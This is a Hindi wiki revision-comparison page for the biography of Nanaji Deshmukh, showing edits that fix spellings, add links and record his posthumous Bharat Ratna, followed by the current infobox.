"नानाजी देशमुख" के अवतरणों में अंतर

भारत डिस्कवरी प्रस्तुति
यहाँ जाएँ:भ्रमण, खोजें
 
(5 सदस्यों द्वारा किये गये बीच के 13 अवतरण नहीं दर्शाए गए)
पंक्ति 9: पंक्ति 9:
 
|मृत्यु स्थान=[[चित्रकूट ज़िला|चित्रकूट]], [[उत्तर प्रदेश]]
 
|मृत्यु स्थान=[[चित्रकूट ज़िला|चित्रकूट]], [[उत्तर प्रदेश]]
 
|मृत्यु कारण=
 
|मृत्यु कारण=
|अविभावक=अमृतराव देशमुख, राजाबाई  
+
|अभिभावक=अमृतराव देशमुख, राजाबाई  
 
|पति/पत्नी=
 
|पति/पत्नी=
 
|संतान=
 
|संतान=
पंक्ति 21: पंक्ति 21:
 
|विद्यालय=
 
|विद्यालय=
 
|शिक्षा=
 
|शिक्षा=
|पुरस्कार-उपाधि=[[पद्मविभूषण]]
+
|पुरस्कार-उपाधि=[[पद्मविभूषण]], [[भारत रत्न]]
 
|विशेष योगदान=[[भारतीय जनसंघ]] के संस्थापक  
 
|विशेष योगदान=[[भारतीय जनसंघ]] के संस्थापक  
 
|संबंधित लेख=
 
|संबंधित लेख=
 
|शीर्षक 1=सामाजिक संगठनों की स्थापना
 
|शीर्षक 1=सामाजिक संगठनों की स्थापना
|पाठ 1=नानाजी ने अपने जीवनकाल में 'दीनदयाल शोध संस्थान', 'ग्रामोदय विश्वविद्यालय' और 'बाल जगत'
+
|पाठ 1=नानाजी 'दीनदयाल शोध संस्थान', 'ग्रामोदय विश्वविद्यालय' और 'बाल जगत' जैसे सामाजिक संगठनों की स्थापना की।
 
|शीर्षक 2=
 
|शीर्षक 2=
 
|पाठ 2=
 
|पाठ 2=
पंक्ति 32: पंक्ति 32:
 
|अद्यतन={{अद्यतन|14:48, 15 मार्च 2012 (IST)}}
 
|अद्यतन={{अद्यतन|14:48, 15 मार्च 2012 (IST)}}
 
}}
 
}}
'''नानाजी देशमुख''' अथवा '''चंडिकादास अमृतराव देशमुख''' (जन्म- [[11 अक्टूबर]], [[1916]] ई., [[महाराष्ट्र]]; मृत्यु- [[27 फ़रवरी]], [[2010]], [[चित्रकूट ज़िला|चित्रकूट]], [[उत्तर प्रदेश]]) 'राष्ट्रीय स्वयंसेवक संघ' के मज़बूत स्तंभ और प्रख्यात समाजसेवक थे। देश के दूसरे सर्वोच्च नागरिक सम्मान [[पद्मविभूषण]] से नवाजे गए नानाजी देशमुख शिक्षा, स्वास्थ्य और ग्रामीण लोगों के बीच स्वावलंबन के लिए किए गए कार्यों के लिए सदैव याद किए जाते हैं। [[भारतीय जनसंघ]] के संस्थापक रहे नानाजी ने 60 साल की आयु के बाद राजनीति से संन्यास ले लिया था। अपना शेष जीवन उन्होंने [[चित्रकूट]] के गाँवों का कल्याण करने में बिताया और उनके विकास की एक नई गाथा लिखी।
+
'''चंडिकादास अमृतराव देशमुख''' ([[अंग्रेज़ी]]: ''Chandikadas Amritrao Deshmukh'', जन्म- [[11 अक्टूबर]], [[1916]] ई., [[महाराष्ट्र]]; मृत्यु- [[27 फ़रवरी]], [[2010]], [[चित्रकूट ज़िला|चित्रकूट]], [[उत्तर प्रदेश]]) '[[राष्ट्रीय स्वयंसेवक संघ]]' के मज़बूत स्तंभ और प्रख्यात समाजसेवक थे। देश के दूसरे सर्वोच्च नागरिक सम्मान [[पद्मविभूषण]] से नवाजे गए नानाजी देशमुख शिक्षा, स्वास्थ्य और ग्रामीण लोगों के बीच स्वावलंबन के लिए किए गए कार्यों के लिए सदैव याद किए जाते हैं। [[भारतीय जनसंघ]] के संस्थापक रहे नानाजी ने 60 साल की आयु के बाद राजनीति से सन्न्यास ले लिया था। अपना शेष जीवन उन्होंने [[चित्रकूट]] के गाँवों का कल्याण करने में बिताया और उनके विकास की एक नई गाथा लिखी। नानाजी देशमुख को मरणोपरांत देश का सर्वोच्च पुरस्कार [[भारत रत्न]]  दिया गया।
 
==परिचय==
 
==परिचय==
 
नानाजी देशमुख का जन्म [[महाराष्ट्र]] राज्य के परभनी ज़िले में एक छोटे से गाँव 'कदोली' में 11 अक्टूबर, 1916 ई. को हुआ था। इनके पिता का नाम श्री अमृतराव देशमुख तथा माता का नाम श्रीमती राजाबाई अमृतराव देशमुख था। नानाजी का जीवन सदैव अनेकों घटनाओं से परिपूर्ण रहा। उनका अधिकतर समय संघर्षों में ही व्यतीत हुआ था। अपनी अल्प आयु में ही उन्होंने अपने [[माता]]-[[पिता]] को खो दिया। ये उनके मामा जी ही थे, जिन्होंने उन्हें पाला-पोसा और बड़ा किया।
 
नानाजी देशमुख का जन्म [[महाराष्ट्र]] राज्य के परभनी ज़िले में एक छोटे से गाँव 'कदोली' में 11 अक्टूबर, 1916 ई. को हुआ था। इनके पिता का नाम श्री अमृतराव देशमुख तथा माता का नाम श्रीमती राजाबाई अमृतराव देशमुख था। नानाजी का जीवन सदैव अनेकों घटनाओं से परिपूर्ण रहा। उनका अधिकतर समय संघर्षों में ही व्यतीत हुआ था। अपनी अल्प आयु में ही उन्होंने अपने [[माता]]-[[पिता]] को खो दिया। ये उनके मामा जी ही थे, जिन्होंने उन्हें पाला-पोसा और बड़ा किया।
 
====शिक्षा====
 
====शिक्षा====
नानाजी का बचपन काफ़ी हद तक अभावों में बीता था। अपनी स्कूल की शिक्षा के दौरान भी उनके पास किताबें आदि ख़रीदने के लिए पैसे नहीं होते थे, लेकिन उनके अन्दर ज्ञान तथा शिक्षा प्राप्त करने की अटूट अभिलाषा विद्यमान थी, जिसे वे हर हाल में पाना चाहते थे। वे मन्दिरों में भी रहे और अपनी पढ़ाई जारी रखने के लिए सब्ज़ी बेचकर पैसे कमाए। 'बिरला इंस्टीट्यूट', पिलानी से नानाजी ने उच्च शिक्षा प्राप्त की थी। बाद के दिनों में तीस के दशक में वे 'आर.एस.एस.' में शामिल हो गए।
+
नानाजी का बचपन काफ़ी हद तक अभावों में बीता था। अपनी स्कूल की शिक्षा के दौरान भी उनके पास किताबें आदि ख़रीदने के लिए पैसे नहीं होते थे, लेकिन उनके अन्दर ज्ञान तथा शिक्षा प्राप्त करने की अटूट अभिलाषा विद्यमान थी, जिसे वे हर हाल में पाना चाहते थे। वे मन्दिरों में भी रहे और अपनी पढ़ाई जारी रखने के लिए सब्ज़ी बेचकर पैसे कमाए। 'बिरला इंस्टीट्यूट', [[पिलानी]] से नानाजी ने उच्च शिक्षा प्राप्त की थी। बाद के दिनों में तीस के दशक में वे 'आर.एस.एस.' में शामिल हो गए।
 
==राजनीतिक गतिविधियाँ==
 
==राजनीतिक गतिविधियाँ==
यद्यपि नानाजी का जन्म [[महाराष्ट्र]] में हुआ था, लेकिन उनका कार्यक्षेत्र [[राजस्थान]] और [[उत्तर प्रदेश]] में ही रहा। उनकी श्रद्धा देखकर आर.एस.एस. के संघ संचालक गुरू जी ने उन्हें प्रचारक के रूप में [[गोरखपुर]] भेज दिया, जहाँ वे उत्तर प्रदेश के प्रचारक नियुक्त कर दिये गये। नानाजी [[लोकमान्य तिलक]] के विचारों से बहुत प्रभावित थे। संघ संस्थापक डॉक्टर हेडगेवार ने ही उन्हें संघ से जोड़ा। [[1940]] में महाराष्ट्र के सैकड़ों युवक प्रचारक बने। इनमें नानाजी भी थे।  उनकी तीव्र बुद्धि तथा विलक्षण संगठन कौशल ने [[1950]] से [[1977]] तक भारतीय राजनीति पर अमिट छाप छोड़ी। उन्होंने विभिन्न विचार और स्वभाव वाले नेताओं को एक साथ लाकर [[कांग्रेस]] का सदा सत्ता में बने रहने का ज़ोरदार विरोध किया था। संघ के प्रचारक के रूप में उन्हें उत्तर प्रदेश में पहले [[आगरा]] और फिर गोरखपुर भेजा गया। उन दिनों संघ की आर्थिक स्थिति बहुत ख़राब थी। नानाजी एक धर्मशाला में रहते थे। वहाँ हर तीसरे दिन कमरा बदलना पड़ता था। अन्ततः [[कांग्रेस]] के एक नेता ने उन्हें इस शर्त पर स्थायी कमरा दिलवाया कि वे उसका खाना बना दिया करेंगे। नानाजी के परिश्रम से तीन साल में गोरखपुर के आस-पास 250 शाखाएँ खुल गयीं। विद्यालयों की पढ़ाई तथा संस्कारहीन वातावरण देखकर उन्होंने गोरखपुर में 1950 में पहला 'सरस्वती शिशु मन्दिर' स्थापित किया। आज तो ऐसे विद्यालयों की संख्या देश में 50,000 से भी अधिक है।<ref name="mcc">{{cite web |url=http://www.janokti.com/sansad-political-news-%E0%A4%B8%E0%A4%BE%E0%A4%82%E0%A4%B8%E0%A4%A6-%E0%A4%AE%E0%A4%BE%E0%A4%B0%E0%A5%8D%E0%A4%97/national-news-%E0%A4%B0%E0%A4%BE%E0%A4%B7%E0%A5%8D%E0%A4%9F%E0%A5%8D%E0%A4%B0%E0%A5%80%E0%A4%AF/%E0%A4%86%E0%A4%A7%E0%A5%81%E0%A4%A8%E0%A4%BF%E0%A4%95-%E0%A4%9A%E0%A4%BE%E0%A4%A3%E0%A4%95%E0%A5%8D%E0%A4%AF-%E0%A4%A8%E0%A4%BE%E0%A4%A8%E0%A4%BE%E0%A4%9C%E0%A5%80-%E0%A4%A6%E0%A5%87%E0%A4%B6/|title=आधुनिक चाणक्य:नानाजी देशमुख|accessmonthday=04 मार्च|accessyear=2012|last= |first= |authorlink= |format= |publisher= |language=[[हिन्दी]]}}</ref>
+
यद्यपि नानाजी का जन्म [[महाराष्ट्र]] में हुआ था, लेकिन उनका कार्यक्षेत्र [[राजस्थान]] और [[उत्तर प्रदेश]] में ही रहा। उनकी श्रद्धा देखकर [[राष्ट्रीय स्वयं सेवक संघ|आर.एस.एस.]] के संघ संचालक गुरु जी ने उन्हें प्रचारक के रूप में [[गोरखपुर]] भेज दिया, जहाँ वे उत्तर प्रदेश के प्रचारक नियुक्त कर दिये गये। नानाजी [[लोकमान्य तिलक]] के विचारों से बहुत प्रभावित थे। संघ संस्थापक डॉक्टर हेडगेवार ने ही उन्हें संघ से जोड़ा। [[1940]] में महाराष्ट्र के सैकड़ों युवक प्रचारक बने। इनमें नानाजी भी थे।  उनकी तीव्र बुद्धि तथा विलक्षण संगठन कौशल ने [[1950]] से [[1977]] तक भारतीय राजनीति पर अमिट छाप छोड़ी। उन्होंने विभिन्न विचार और स्वभाव वाले नेताओं को एक साथ लाकर [[कांग्रेस]] का सदा सत्ता में बने रहने का ज़ोरदार विरोध किया था। संघ के प्रचारक के रूप में उन्हें उत्तर प्रदेश में पहले [[आगरा]] और फिर गोरखपुर भेजा गया। उन दिनों संघ की आर्थिक स्थिति बहुत ख़राब थी। नानाजी एक धर्मशाला में रहते थे। वहाँ हर तीसरे दिन कमरा बदलना पड़ता था। अन्ततः [[कांग्रेस]] के एक नेता ने उन्हें इस शर्त पर स्थायी कमरा दिलवाया कि वे उसका खाना बना दिया करेंगे। नानाजी के परिश्रम से तीन साल में गोरखपुर के आस-पास 250 शाखाएँ खुल गयीं। विद्यालयों की पढ़ाई तथा संस्कारहीन वातावरण देखकर उन्होंने [[गोरखपुर]] में [[1950]] में पहला 'सरस्वती शिशु मन्दिर' स्थापित किया। आज तो ऐसे विद्यालयों की संख्या देश में 50,000 से भी अधिक है।<ref name="mcc">{{cite web |url=http://www.janokti.com/sansad-political-news-%E0%A4%B8%E0%A4%BE%E0%A4%82%E0%A4%B8%E0%A4%A6-%E0%A4%AE%E0%A4%BE%E0%A4%B0%E0%A5%8D%E0%A4%97/national-news-%E0%A4%B0%E0%A4%BE%E0%A4%B7%E0%A5%8D%E0%A4%9F%E0%A5%8D%E0%A4%B0%E0%A5%80%E0%A4%AF/%E0%A4%86%E0%A4%A7%E0%A5%81%E0%A4%A8%E0%A4%BF%E0%A4%95-%E0%A4%9A%E0%A4%BE%E0%A4%A3%E0%A4%95%E0%A5%8D%E0%A4%AF-%E0%A4%A8%E0%A4%BE%E0%A4%A8%E0%A4%BE%E0%A4%9C%E0%A5%80-%E0%A4%A6%E0%A5%87%E0%A4%B6/|title=आधुनिक चाणक्य:नानाजी देशमुख|accessmonthday=04 मार्च|accessyear=2012|last= |first= |authorlink= |format= |publisher= |language=[[हिन्दी]]}}</ref>
 
====प्रबन्धक का पद====
 
====प्रबन्धक का पद====
[[1947]] में [[रक्षा बन्धन]] के शुभ अवसर पर [[लखनऊ]] में ‘राष्ट्रधर्म प्रकाशन’ की स्थापना हुई, तो इसके प्रबन्धक नानाजी ही बनाये गए। वहाँ से मासिक 'राष्ट्रधर्म', 'साप्ताहिक पांचजन्य' तथा 'दैनिक स्वदेश' अख़बार निकाले गये। [[1948]] में [[गांधी जी]] की हत्या के बाद संघ पर प्रतिबन्ध लग गया। इससे प्रकाशन संकट में पड़ गया। ऐसे में नानाजी ने छद्म नामों से कई पत्र निकाले। [[1952]] में जनसंघ की स्थापना होने पर उत्तर प्रदेश में उसका कार्य नानाजी को सौंपा गया। [[1957]] तक प्रदेश के सभी जिलों में जनसंघ का काम पहुँच गया। [[1967]] में उत्तर प्रदेश में [[चौधरी चरण सिंह|चौधरी चरणसिंह]] के नेतृत्व में पहली संविद सरकार बनी। इसमें नानाजी की महत्त्वपूर्ण भूमिका थी। [[विनोबा भावे]] के भूदान यज्ञ तथा [[1974]] में [[इन्दिरा गांधी]] के शासन के विरुद्ध [[जयप्रकाश नारायण|लोकनायक जयप्रकाश नारायण]] के नेतृत्व में हुए आन्दोलन में नानाजी खूब सक्रिय रहे। [[पटना]] में जब पुलिस ने जयप्रकाश आदि पर लाठियाँ बरसायीं, तो नानाजी ने उन्हें अपनी बाँह पर झेल लिया। इससे उनकी बाँह टूट गयी; पर जयप्रकाश जी बच गये।
+
[[1947]] में [[रक्षा बन्धन]] के शुभ अवसर पर [[लखनऊ]] में ‘राष्ट्रधर्म प्रकाशन’ की स्थापना हुई, तो इसके प्रबन्धक नानाजी ही बनाये गए। वहाँ से मासिक 'राष्ट्रधर्म', 'साप्ताहिक पांचजन्य' तथा 'दैनिक स्वदेश' अख़बार निकाले गये। [[1948]] में [[गांधी जी]] की हत्या के बाद संघ पर प्रतिबन्ध लग गया। इससे प्रकाशन संकट में पड़ गया। ऐसे में नानाजी ने छद्म नामों से कई पत्र निकाले। [[1952]] में जनसंघ की स्थापना होने पर उत्तर प्रदेश में उसका कार्य नानाजी को सौंपा गया। [[1957]] तक प्रदेश के सभी ज़िलों में जनसंघ का काम पहुँच गया। [[1967]] में उत्तर प्रदेश में [[चौधरी चरण सिंह|चौधरी चरणसिंह]] के नेतृत्व में पहली संविद सरकार बनी। इसमें नानाजी की महत्त्वपूर्ण भूमिका थी। [[विनोबा भावे]] के भूदान यज्ञ तथा [[1974]] में [[इन्दिरा गांधी]] के शासन के विरुद्ध [[जयप्रकाश नारायण|लोकनायक जयप्रकाश नारायण]] के नेतृत्व में हुए आन्दोलन में नानाजी खूब सक्रिय रहे। [[पटना]] में जब पुलिस ने जयप्रकाश आदि पर लाठियाँ बरसायीं, तो नानाजी ने उन्हें अपनी बाँह पर झेल लिया। इससे उनकी बाँह टूट गयी; पर जयप्रकाश जी बच गये।
 
==महामन्त्री==
 
==महामन्त्री==
[[1975]] में कई विपक्षी नेताओं को जेल हुई, किंतु नानाजी हाथ नहीं आये। आपातकाल के विरुद्ध बनी ‘लोक संघर्ष समिति’ के वे मन्त्री थे। उस समय हुए देशव्यापी [[सत्याग्रह]] में एक लाख से भी अधिक लोगों ने गिरफ़्तारी दी। यद्यपि बाद में नानाजी भी पकड़े गये। [[1977]] के चुनाव में इन्दिरा गांधी हार गयीं और [[दिल्ली]] में [[मोरारजी देसाई]] के नेतृत्व में जनता पार्टी की सरकार बनी। नानाजी ने सत्ता की बजाय संगठन को महत्व देते हुए अपने बदले ब्रजलाल वर्मा को मन्त्री बनवाया। इस पर उन्हें जनता पार्टी का महामन्त्री बनाया गया। उस समय नानाजी सत्ता या दल में बड़े से बड़ा पद ले सकते थे; लेकिन उन्होंने सक्रिय राजनीति छोड़कर ‘दीनदयाल शोध संस्थान’ के माध्यम से पहले [[गोंडा ज़िला|गोंडा]] और फिर [[चित्रकूट ज़िला|चित्रकूट]] में ग्राम विकास का कार्य प्रारम्भ किया।<ref name="mcc"/>
+
[[1975]] में कई विपक्षी नेताओं को जेल हुई, किंतु नानाजी हाथ नहीं आये। आपातकाल के विरुद्ध बनी ‘लोक संघर्ष समिति’ के वे मन्त्री थे। उस समय हुए देशव्यापी [[सत्याग्रह]] में एक लाख से भी अधिक लोगों ने गिरफ़्तारी दी। यद्यपि बाद में नानाजी भी पकड़े गये। [[1977]] के चुनाव में इन्दिरा गांधी हार गयीं और [[दिल्ली]] में [[मोरारजी देसाई]] के नेतृत्व में जनता पार्टी की सरकार बनी। नानाजी ने सत्ता की बजाय संगठन को महत्व देते हुए अपने बदले ब्रजलाल वर्मा को मन्त्री बनवाया। इस पर उन्हें जनता पार्टी का महामन्त्री बनाया गया। उस समय नानाजी सत्ता या दल में बड़े से बड़ा पद ले सकते थे; लेकिन उन्होंने सक्रिय राजनीति छोड़कर ‘दीनदयाल शोध संस्थान’ के माध्यम से पहले [[गोंडा]] और फिर [[चित्रकूट ज़िला|चित्रकूट]] में ग्राम विकास का कार्य प्रारम्भ किया।<ref name="mcc"/>
====राजनीति से संन्यास====
+
====राजनीति से सन्न्यास====
नानाजी देशमुख ने 60 साल की उम्र पूरी होते ही राजनीति छोड़ दी थी, क्योंकि उनका मानना था कि 60 साल की उम्र के बाद व्यक्ति को राजनीति छोड़ देनी चाहिए। वह राजनीति में [[अटल बिहारी वाजपेयी]], [[लालकृष्ण आडवाणी]] जैसे [[भाजपा]] के नेताओं से वरिष्ठ थे और भाजपा के गठन के काफ़ी पहले राजनीति को अलविदा कह चुके थे। नानाजी ने अपने जीवनकाल में 'दीनदयाल शोध संस्थान', 'ग्रामोदय विश्वविद्यालय' और 'बाल जगत' जैसे सामाजिक संगठनों की स्थापना की। उन्होंने [[उत्तर प्रदेश]] के गोंडा ज़िले में भी उल्लेखनीय सामाजिक कार्य किया था। उन्हें [[1999]] में '[[पद्म विभूषण]]' से सम्मानित किया गया और इसी साल [[राज्यसभा]] के लिए नामांकित किया गया। वे [[बलरामपुर ज़िला|बलरामपुर]] से [[लोकसभा]] के लिये भी चुने गये थे। चित्रकूट स्थित 'दीनदयाल शोध संस्थान' में पधारे पूर्व राष्ट्रपति [[अब्दुल कलाम|ए.पी.जे. अब्दुल कलाम]] ने नानाजी देशमुख द्वारा कमजोर वर्ग के उत्थान में उठाए गए क़दमों की सराहना की थी और इस क्षेत्र में उनकी उपलब्धियों को अनुकरणीय बताया था।<ref>{{cite web |url=http://www.visfot.com/index.php/news_never_die/3031.html|title=नानाजी देशमुख|accessmonthday=04 मार्च|accessyear=2012|last= |first= |authorlink= |format=एच.टी.एम.एल.|publisher= |language=[[हिन्दी]]}}</ref>
+
नानाजी देशमुख ने 60 साल की उम्र पूरी होते ही राजनीति छोड़ दी थी, क्योंकि उनका मानना था कि 60 साल की उम्र के बाद व्यक्ति को राजनीति छोड़ देनी चाहिए। वह राजनीति में [[अटल बिहारी वाजपेयी]], [[लालकृष्ण आडवाणी]] जैसे [[भाजपा]] के नेताओं से वरिष्ठ थे और भाजपा के गठन के काफ़ी पहले राजनीति को अलविदा कह चुके थे। नानाजी ने अपने जीवनकाल में 'दीनदयाल शोध संस्थान', 'ग्रामोदय विश्वविद्यालय' और 'बाल जगत' जैसे सामाजिक संगठनों की स्थापना की। उन्होंने [[उत्तर प्रदेश]] के गोंडा ज़िले में भी उल्लेखनीय सामाजिक कार्य किया था। उन्हें [[1999]] में '[[पद्म विभूषण]]' से सम्मानित किया गया और इसी साल [[राज्यसभा]] के लिए नामांकित किया गया। वे [[बलरामपुर ज़िला|बलरामपुर]] से [[लोकसभा]] के लिये भी चुने गये थे। चित्रकूट स्थित 'दीनदयाल शोध संस्थान' में पधारे पूर्व राष्ट्रपति [[अब्दुल कलाम|ए.पी.जे. अब्दुल कलाम]] ने नानाजी देशमुख द्वारा कमज़ोर वर्ग के उत्थान में उठाए गए क़दमों की सराहना की थी और इस क्षेत्र में उनकी उपलब्धियों को अनुकरणीय बताया था।<ref>{{cite web |url=http://www.visfot.com/index.php/news_never_die/3031.html|title=नानाजी देशमुख|accessmonthday=04 मार्च|accessyear=2012|last= |first= |authorlink= |format=एच.टी.एम.एल.|publisher= |language=[[हिन्दी]]}}</ref>
 
====विवाद का घेरा====
 
====विवाद का घेरा====
 
हालांकि राजनीति से अलग होने के बाद भी नानाजी निर्विवाद नहीं रहे। नानाजी उस वक्त विवाद के घेरे में आ गए, जब [[1984]] में उन्होंने कहा था कि 'अब समय आ गया है कि संघ [[राजीव गांधी]] के साथ खड़ा रहे।' इसके बाद जब केन्द्र में अटल बिहारी वाजपेयी की सरकार बनी, तब भी कई मौके ऐसे आये, जब वे केन्द्र सरकार के ख़िलाफ़ खड़े नजर आये। नदी जोड़ने के राजग सरकार के महत्वाकांक्षी परियोजना को नानाजी के हस्तक्षेप के कारण ही ठंडे बस्ते में डालना पड़ा था।
 
हालांकि राजनीति से अलग होने के बाद भी नानाजी निर्विवाद नहीं रहे। नानाजी उस वक्त विवाद के घेरे में आ गए, जब [[1984]] में उन्होंने कहा था कि 'अब समय आ गया है कि संघ [[राजीव गांधी]] के साथ खड़ा रहे।' इसके बाद जब केन्द्र में अटल बिहारी वाजपेयी की सरकार बनी, तब भी कई मौके ऐसे आये, जब वे केन्द्र सरकार के ख़िलाफ़ खड़े नजर आये। नदी जोड़ने के राजग सरकार के महत्वाकांक्षी परियोजना को नानाजी के हस्तक्षेप के कारण ही ठंडे बस्ते में डालना पड़ा था।
पंक्ति 51: पंक्ति 51:
 
अपने राज्यसभा के सांसद काल में मिली सांसद निधि का उपयोग उन्होंने इन प्रकल्पों के लिए ही किया। कर्मयोगी नानाजी ने [[27 फ़रवरी]], [[2010]] को अपनी कर्मभूमि चित्रकूट में अंतिम सांस ली। उन्होंने देह दान का संकल्प पत्र बहुत पहले ही भर दिया था। अतः देहांत के बाद उनका शरीर आयुर्विज्ञान संस्थान को दान दे दिया।
 
अपने राज्यसभा के सांसद काल में मिली सांसद निधि का उपयोग उन्होंने इन प्रकल्पों के लिए ही किया। कर्मयोगी नानाजी ने [[27 फ़रवरी]], [[2010]] को अपनी कर्मभूमि चित्रकूट में अंतिम सांस ली। उन्होंने देह दान का संकल्प पत्र बहुत पहले ही भर दिया था। अतः देहांत के बाद उनका शरीर आयुर्विज्ञान संस्थान को दान दे दिया।
  
'दधीचि देह दान समिति' के अध्यक्ष आलोक कुमार के अनुसार- 'नानाजी ने सन् 1997 में इच्छा जताई थी कि उनकी मृत्यु के पश्चात उनकी देह का उपयोग चिकित्सा शोध कार्य के लिए किया जाए। उनकी इच्छा पर विचार करते [[11 अक्टूबर]], [[1997]] को देहदान की एक वसीयत तैयार की गई, जिस पर उन्होंने साक्षी के रूप में श्रीमती कुमुद सिंह तथा हेमंत पाण्डे की उपस्थिति में हस्ताक्षर किए थे। दोनों को नानाजी अपना पुत्र व पुत्री मानते थे। आलोक कुमार ने बताया कि उनके हर अंग का देशहित में उपयोग हो, यही उनकी अंतिम इच्छा थी। कुमार ने कहा कि हमने यह निश्चित किया था कि मृत्यु के पश्चात नानाजी की देह को [[दिल्ली]] स्थित 'अखिल भारतीय आयुर्विज्ञान संस्थान' में शोध कार्य के लिए दिया जाएगा। उन्होंने भावविह्वल होकर बताया कि नानाजी प्रवास पर रहते थे। ऐसे में मृत्यु होने पर उनकी पार्थिव देह दिल्ली लाने में कोई व्यवधान न हो, इस हेतु नानाजी ने दधीचि देहदान समिति को 11,000 रुपए दिए, उनका कहना था कि मैं हमेशा प्रवास पर रहता हूँ, इसलिए मेरी मृत्यु कहीं भी हो सकती है। यह रुपए मेरी देह को कहीं से भी दिल्ली पहुँचाने की व्यवस्था के लिए हैं। नानाजी की इच्छा के अनुसार उनकी देह को 'अखिल भारतीय आयुर्विज्ञान संस्थान' में शोध कार्य के लिए दे दिया गया, जहाँ चिकित्सक उनकी देह पर शोध कर सकते थे।<ref>{{cite web |url=http://panchjanya.com/arch/2010/3/14/File8.htm|title=सर्वस्व दानी नानाजी देशमुख का महाप्रयाण|accessmonthday=04 मार्च|accessyear=2012|last=सिसोदिया|first=तरुन|authorlink= |format=एच.टी.एम.एल.|publisher= |language=[[हिन्दी]]}}</ref>
+
'दधीचि देह दान समिति' के अध्यक्ष आलोक कुमार के अनुसार- 'नानाजी ने सन् 1997 में इच्छा जताई थी कि उनकी मृत्यु के पश्चात् उनकी देह का उपयोग चिकित्सा शोध कार्य के लिए किया जाए। उनकी इच्छा पर विचार करते [[11 अक्टूबर]], [[1997]] को देहदान की एक वसीयत तैयार की गई, जिस पर उन्होंने साक्षी के रूप में श्रीमती कुमुद सिंह तथा हेमंत पाण्डे की उपस्थिति में हस्ताक्षर किए थे। दोनों को नानाजी अपना पुत्र व पुत्री मानते थे। आलोक कुमार ने बताया कि उनके हर अंग का देशहित में उपयोग हो, यही उनकी अंतिम इच्छा थी। कुमार ने कहा कि हमने यह निश्चित किया था कि मृत्यु के पश्चात् नानाजी की देह को [[दिल्ली]] स्थित 'अखिल भारतीय आयुर्विज्ञान संस्थान' में शोध कार्य के लिए दिया जाएगा। उन्होंने भावविह्वल होकर बताया कि नानाजी प्रवास पर रहते थे। ऐसे में मृत्यु होने पर उनकी पार्थिव देह दिल्ली लाने में कोई व्यवधान न हो, इस हेतु नानाजी ने दधीचि देहदान समिति को 11,000 रुपए दिए, उनका कहना था कि मैं हमेशा प्रवास पर रहता हूँ, इसलिए मेरी मृत्यु कहीं भी हो सकती है। यह रुपए मेरी देह को कहीं से भी दिल्ली पहुँचाने की व्यवस्था के लिए हैं। नानाजी की इच्छा के अनुसार उनकी देह को 'अखिल भारतीय आयुर्विज्ञान संस्थान' में शोध कार्य के लिए दे दिया गया, जहाँ चिकित्सक उनकी देह पर शोध कर सकते थे।<ref>{{cite web |url=http://panchjanya.com/arch/2010/3/14/File8.htm|title=सर्वस्व दानी नानाजी देशमुख का महाप्रयाण|accessmonthday=04 मार्च|accessyear=2012|last=सिसोदिया|first=तरुन|authorlink= |format=एच.टी.एम.एल.|publisher= |language=[[हिन्दी]]}}</ref>
 
====प्रेरणा स्रोत====
 
====प्रेरणा स्रोत====
दिल्ली की 'दधीचि देहदान समिति' को अपने देहदान सम्बन्धी शपथ पत्र पर हस्ताक्षर करते हुए नानाजी ने कहा था- "मैंने जीवन भर संघ शाखा में प्रार्थना में बोला है 'पत्तवेष कायो नमस्ते नमस्ते।' अतः मृत्यु के बाद भी यह शरीर समाज के लिए उपयोग में आना उचित है। इस प्रकार उन्होंने मृत्यु के उपरान्त अपना देह चिकित्सा शास्त्र पढ़ने वाले युवकों के अध्ययन के लिए समर्पित कर दिया। असंख्य लोग नाना जी के जीवन से प्रेरणा लेते रहे हैं और भविष्य में भी लेते रहेंगे।
+
[[दिल्ली]] की 'दधीचि देहदान समिति' को अपने देहदान सम्बन्धी शपथ पत्र पर हस्ताक्षर करते हुए नानाजी ने कहा था- "मैंने जीवन भर संघ शाखा में प्रार्थना में बोला है 'पत्तवेष कायो नमस्ते नमस्ते।' अतः मृत्यु के बाद भी यह शरीर समाज के लिए उपयोग में आना उचित है। इस प्रकार उन्होंने मृत्यु के उपरान्त अपना देह चिकित्सा शास्त्र पढ़ने वाले युवकों के अध्ययन के लिए समर्पित कर दिया। असंख्य लोग नाना जी के जीवन से प्रेरणा लेते रहे हैं और भविष्य में भी लेते रहेंगे।
  
 
{{लेख प्रगति|आधार=|प्रारम्भिक=प्रारम्भिक1|माध्यमिक= |पूर्णता= |शोध=}}
 
{{लेख प्रगति|आधार=|प्रारम्भिक=प्रारम्भिक1|माध्यमिक= |पूर्णता= |शोध=}}
पंक्ति 59: पंक्ति 59:
 
<references/>
 
<references/>
 
==संबंधित लेख==
 
==संबंधित लेख==
{{समाज सुधारक}}
+
{{समाज सुधारक}}{{पद्म विभूषण}}
 
[[Category:राजनीतिज्ञ]][[Category:पद्म विभूषण]][[Category:प्रसिद्ध व्यक्तित्व]][[Category:प्रसिद्ध व्यक्तित्व कोश]][[Category:चरित कोश]][[Category:समाज सुधारक]]
 
[[Category:राजनीतिज्ञ]][[Category:पद्म विभूषण]][[Category:प्रसिद्ध व्यक्तित्व]][[Category:प्रसिद्ध व्यक्तित्व कोश]][[Category:चरित कोश]][[Category:समाज सुधारक]]
 
__INDEX__
 
__INDEX__
__NOTOC__
 

08:04, 29 जनवरी 2019 के समय का अवतरण

नानाजी देशमुख
नानाजी देशमुख
पूरा नाम चंडिकादास अमृतराव देशमुख
जन्म 11 अक्टूबर, 1916 ई.
जन्म भूमि महाराष्ट्र
मृत्यु 27 फ़रवरी, 2010
मृत्यु स्थान चित्रकूट, उत्तर प्रदेश
अभिभावक अमृतराव देशमुख, राजाबाई
नागरिकता भारतीय
पद राष्ट्रधर्म प्रकाशन के प्रबन्धक
पुरस्कार-उपाधि पद्मविभूषण, भारत रत्न
विशेष योगदान भारतीय जनसंघ के संस्थापक
सामाजिक संगठनों की स्थापना नानाजी 'दीनदयाल शोध संस्थान', 'ग्रामोदय विश्वविद्यालय' और 'बाल जगत' जैसे सामाजिक संगठनों की स्थापना की।
अन्य जानकारी नानाजी देशमुख शिक्षा, स्वास्थ्य और ग्रामीण लोगों के बीच स्वावलंबन के लिए किए गए कार्यों के लिए सदैव याद किए जाते हैं।
